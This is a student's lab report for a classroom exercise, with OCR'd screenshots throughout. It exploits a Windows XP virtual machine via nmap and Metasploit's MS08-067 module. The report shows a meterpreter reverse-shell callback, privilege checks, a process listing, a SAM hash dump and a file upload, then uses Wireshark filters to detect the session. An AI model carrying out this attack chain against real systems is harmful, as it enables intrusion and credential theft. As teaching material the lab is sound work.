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STEP 1-TASK A

1. Follow the instruction discussed in the class and find all the possible vulnerabilities in Windows

XP by using Nmap.

Zenmap @ ® O
Scan Tools Profile Help

Target: 1192.168.10.0/24 v | Profile: |Intense scan v | |Scan| 1C

Command: [nmap -T4-A-v192.168.10.0/24

Hosts ‘Services| Nmap Output | Ports [ Hosts | Topology | Host Details = Scans

0S  Host v |[nmap-T4-A-v192.168.10.0/24 = | ‘Details‘
L7 192.168.10.2 Nmap scan report for 192.168.10.14 4
Host is up (0.0011ls latency).
B 1921681013 Not shown: 997 closed ports
# 192.168.10.14N011) STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds

No exact 0S matches for host (If you know what 0S is running

on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
0S:SCAN(V=7.70%E=4%D=3/19%0T=135%CT=1%CU=32750%PV=Y%DS=2%DC=T%G:
0S:CA%P=x86_ 64-pc-linux-
gnu)SEQ(SP=102%GCD=1%ISR=103%TI=I%I1I1=1%55=5%T5=0) 0P
0S:S(01=M5B4NWONNTOONNS%02=M5B4NWONNTOONNS%:03=M5B4NWONNTOO%04=M!
0S: NS%05=M5B4NWONNTOONNS%:06=M5B4NNTOONNS )WIN(W1=FAFO%W2=FAFO%W3
0S:

%W5=FAFO%W6=FAFO ) ECN(R=Y%DF=Y%T=80%W=FAF0%0=M5B4NWONNS%CC=N%0=

I | 05:FVXT=60%S=0%AS+
| Filter Hosts .

Above is the screenshot of the nmap scan of the network showing the open ports.

STEP 2

2. In Metasploit, search the detailed information and usage regarding the exploit: ms08 067 netapi.
Which port on the target system will be exploited if I use this exploit? Is this port available on the

target Windows XP?



File Edit View Search Terminal Help

Basic options:
Name Current Setting Required
RHOSTS
RPORT 445
SMBPIPE BROWSER

Payload information:
Space: 408
Avoid: 8 characters

Description:

root@CS2APenTest: ~

Description

The target address range or CIDR identifier
The SMB service port (TCP)
The pipe name to use (BROWSER, SRVSVC)

This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.dll through the Server Service. This module is
capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from crashing. Windows XP
targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This
is just the first version of this module, full support for NX bypass
on 2003, along with other platforms, is still in development.

References:

BE&E|0L
1:24 AM

AT 000

Above is the screenshot of the information on the exploit. The port 445 will be exploited on the target
machine and it is open and available on the target machine.

STEP 1-TASK B

1. Configure Metasploit framework to set up a meterpreter reverse shell connection to the target
Windows XP by using the following configurations. Listening Port: UIN without zeros.




root@CS2APenTest: ~ @ ® 6

File Edit View Search Terminal Help
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse tcp):

NEE Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST D201 58I ZAVESS yes The listen address (an interface may be specified)

LPORT 4916 yes The listen port

Exploit target:

Id Name

0 Automatic Targeting

msf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.217.3:4916

192.168.10.14:445 - Automatically detecting the target...

192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

192.168.10.14:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

192.168.10.14:445 - Attempting to trigger the vulnerability...

Sending stage (179779 bytes) to 192.168.217.2

Meterpreter session 1 opened (192.168.217.3:4916 -> 192.168.217.2:54105) at 2021-03-19 01:36:54

BE&x|0
1:37 AM

N D) 3600

Above is the screenshot of the configured framework for the meterpreter reverse shell.

STEP 1-TASK C

1. Take a screenshot of the target machine.



root@CS2APenTest: ~ @ ® 6

File Edit View Search Terminal Help

Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.217.3 yes The listen address (an interface may be specified)
LPORT 4916 yes The listen port

Exploit target:

Id Name

®  Automatic Targeting

msf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.217.3:4916

192.168.10.14:445 - Automatically detecting the target...

192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

192.168.10.14:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

192.168.10.14:445 - Attempting to trigger the vulnerability...

Sending stage (179779 bytes) to 192.168.217.2

Meterpreter session 1 opened (192.168.217.3:4916 -> 192.168.217.2:54105) at 2021-03-19 01:36:54

-0400

meterpreter > screenshot
Screenshot saved to: /root/lrmeZYCu.jpeg

meterpreter = screenshot
Screenshot saved to: /root/uKcQsDVs.jpeg

meterpreter > |]

Above is the screenshot of the screenshot of the target machine using meterpreter shell.

STEP 2

2. Collect the target system info.



root@CS2APenTest: ~ @ ® O

File Edit View Search Terminal Help
getsystem Attempt to elevate your privilege to that of local system.

hashdump Dumps the contents of the SAM database

timestomp Manipulate file MACE attributes

> getsid
Server SID: S-1-5-18
meterpreter = getuid
username: NT AUTHORITY\SYSTEM
sysinfo
: ORG-JLF9IOGWXFM

: Windows XP (Build 2600, Service Pack 3).
x86
en_US
: WORKGROUP
2
x86,/windows

Above is the screenshot of the target system info.

STEP 3

3. Collect the list of the running processes on the target machine.



root@CS2APenTest: ~ e e O
File Edit View Search Terminal Help
meterpreter > ps

Name Arch Session User

[System Process]

System x86 NT AUTHORITY\SYSTEM

wuauclt.exe x86 <] ORG-JLF9IOGWXFM\user C:\WINDOWS\system32\wua

VGAuthService.exe x86 2] NT AUTHORITY\SYSTEM C:\Program Files\VMware
\VMware Tools\VMware VGAuth\VGAuthService.exe
560 4 SMSS.exe x86 5] NT AUTHORITY\SYSTEM \SystemRoot\System32\sm
SS.exe
604 692 vmtoolsd.exe x86 0] NT AUTHORITY\SYSTEM C:\Program Files\VMware
\VMware Tools\vmtoolsd.exe
624 560 csrss.exe x86 AUTHORITY\SYSTEM \??\C:\WINDOWS\system32
\csrss.exe
648 560 winlogon.exe x86 AUTHORITY\SYSTEM N??\C:\WINDOWS\system32
\winlogon.exe
692 648 services.exe x86 AUTHORITY\SYSTEM C:\WINDOWS\system32\ser
vices.exe
704 648 lsass.exe { AUTHORITY\SYSTEM C:\WINDOWS\system32\1lsa
ss.exe
860 692 vmacthlp.exe ; AUTHORITY\SYSTEM :\Program Files\VMware
\VMware Tools\vmacthlp.exe
872 692 svchost.exe a AUTHORITY\SYSTEM A\WINDOWS\system32\svc

692 svchost.exe ( AUTHORITY\NETWORK SERVICE C:\WINDOWS\ system32\svc!

Above is the screenshot of the running processes on the target machine.

STEP 4

4. Collect the password hashes of the current users.



File Edit View Search Terminal

860 692 vmacthlp.exe
\VMware Tools\vmacthlp.exe
872 692 svchost.exe

host.exe
956 692

host.exe
1072 692

svchost.exe

svchost.exe

692 svchost.exe

svchost.exe

1480 692
olsv.exe

1576 872 wmiprvse.exe

m\wmiprvse.exe
1584 1072 wscntfy.exe

spoolsv.exe

ntfy.exe
1836 1812 explorer.exe

1844 692
Reae

1944 1836 wvmtoolsd.exe
\WMware Tools\vmtoolsd.exe

alg.exe

meterpreter = hashdump

Help

root@CS2APenTest: ~

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\LOCAL SERVICE
AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE

ORG-JLF9IOGWXFM\user

ORG-JLF9IOGWXFM\user
NT AUTHORITY\LOCAL SERVICE

ORG-JLF9IOGWXFM\user

o0

:\Program Files\VMware
:\WINDOWS\system32\svc
. A\WINDOWS\system32\svc
-t \WINDOWS\System32\svc
- \WINDOWS\System32\svc
s \WINDOWS\System32\svc
- :A\WINDOWS\system32\spo
- \WINDOWS\System32\wbe
- :\WINDOWS\system32\wsc

-: \WINDOWS\Explorer.EXE
- \WINDOWS\System32\alg

:\Program Files\VMware

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0cO89cH: : :

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTe@d16ae931b73c59d7e0cO89cO: : :

HelpAssistant:1000:c6dPacle4c44bdbaa3ecadaal70bfb8c:a08a9c9a5e96e759c5841b58a08dcflf: ::
SUPPORT 388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c5997d7f376ae5e15¢c62b057¢cd021697:: :

user:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0cO89cO: : :

meterpreter > |

Above is the screenshot of the current users’ passwords on the system.

STEP 5

5. Upload a file called “IMadelT-YourMIDAS.txt” to the target’s desktop. Login to the Windows

XP and check if the file exist.




root@CS2APenTest: ~ e ® 0

File Edit View Search Terminal Help
Error running command upload: Errno::ENOENT No such file directory rb file s stat IMadeIT-j
diggee7.txt
meterpreter > upload "IMadeIT-jdigg@e7.txt"
Error running command upload: Errno::ENOENT No such file or directory rb file s stat IMadeIT-j
diggee7.txt
meterpreter > upload "IMadeIT-jdigg@e7.txt"
Error running command upload: Errno::ENOENT No such file or directory @ rb file s stat IMadeIT-j
diggee7.txt
meterpreter > upload IMadeIT-jdigg@e7.txt
Error running command upload: Errno::ENOENT No such file or directory @ rb file s stat IMadeIT-j
diggee7. txt
meterpreter > dir
No entries exist in C:\Documents and Settings\user\Desktop
meterpreter > upload IMadeIT-jdigg@@7.txt
Error running command upload: Errno::ENOENT No such file or directory rb_file s stat IMadeIT-j
diggee7.txt
meterpreter > upload "IMadeIT-jdigg@e7.txt"
Error running command upload: Errno::ENOENT No such file or directory @ rb file s stat IMadeIT-j
diggee7.txt
meterpreter > upload /root/Documents/IMadeIT-jdiggee7.txt
meterpreter > upload "/root/Documents/IMadelIT-jdiggee7.txt" C:\\"Documents and Settings\user\desktop"
meterpreter = echo "does this work" = IMadeIT-jdigg@@7.txt
Unknown command: echo.
meterpreter > upload "/root/Documents/IMadeIT-jdigg@®07.txt" C:\"Documents and Settings\user\desktop”
Parse error: Unmatched double quote: "upload \"/root/Documents/IMadeIT-jdigg@07.txt\" C:\\\"Docume
nts and Settings\\user\\desktop\""
meterpreter > upload "/root/Documents/IMadeIT-jdigg@e7.txt" C:\\"Documents and Settings\user\desktop"
uploading : /root/Documents/IMadeIT-jdigg@e7.txt -> C:\Documents and Settings\user\desktop
uploaded : /root/Documents/IMadeIT-jdigg@07.txt -> C:\Documents and Settings\user\desktop\IMadeI
T-jdiggee7.txt
meterpreter > [

. 228AM
W 1901




oress Ctrl+Alt.

Above is the screenshot of the file uploaded on the desktop of the target machine.

TASK D

Assume Internal Kali (the network admin) does not aware of this live attack. How to locate this
session by checking the firewall logs and filter the related traffic in the Wireshark (running on
Internal Kali)?
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Packets: 3028 - Displayed: 570 (18.8%) - Dropped: 0 (0.0%)
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AmI@® DERGEG Q «» .0« =| @ @
|I|ip.addr==192.168.21?.3 && tcp.port == 4916 E3 '] Expression...
No. Time Source Destination Protocol Length Info
- 10.000000000 192.168.217.3 192.168.10.14 TCP 182 4916 — 1034 [PSH, AC
2 0.044361477 192.168.10.14 192.168.217.3 TCP 214 1034 — 4916 [PSH, AC——
3 0.045298184 192.168.217.3 192.168.10.14 TCP 60 4916 — 1034 [ACK] Se_—_——_
34 68.487529719 192.168.217.3 192.168.10.14 TCP 182 4916 — 1034 [PSH, AC
I 35 68.531634815 192.166.18.11 192.168.217.3 TCP 214 1034 -~ 4916 [PSH, A
36 60.532509811 192.168.217.3 192.168.10.14 TCP 60 4916 — 1034 [ACK]
63 120.975519089 192.168.217.3 192.168.10.14 TCP 182 4916 — 1034 [PSH,
66 121.019932586 192.168.10.14 192.168.217.3 TCP 214 1034 — 4916 [PSH,
67 121.020675194 192.168.217.3 192.168.168.14 TCP 60 4916 — 1034 [ACK]
< Nne _AnA ANTCANANDES ANN _AS0 _NAT7T D ANN A0 AN A4 A TN 40N _AnA4A S AN A Foean
» Internet Protocol Version 4, Src: 192.168.10.14, Dst: 192.168.217.3
» Transmission Control Protocol, Src Port: 1034, Dst Port: 4916, Seq: 161, Ack: 257, Len: 160

+

-

Profile: Default

rl+Alt.

E&xn| 0
>

Above is the screenshot of the filtered traffic showing the session that we used.




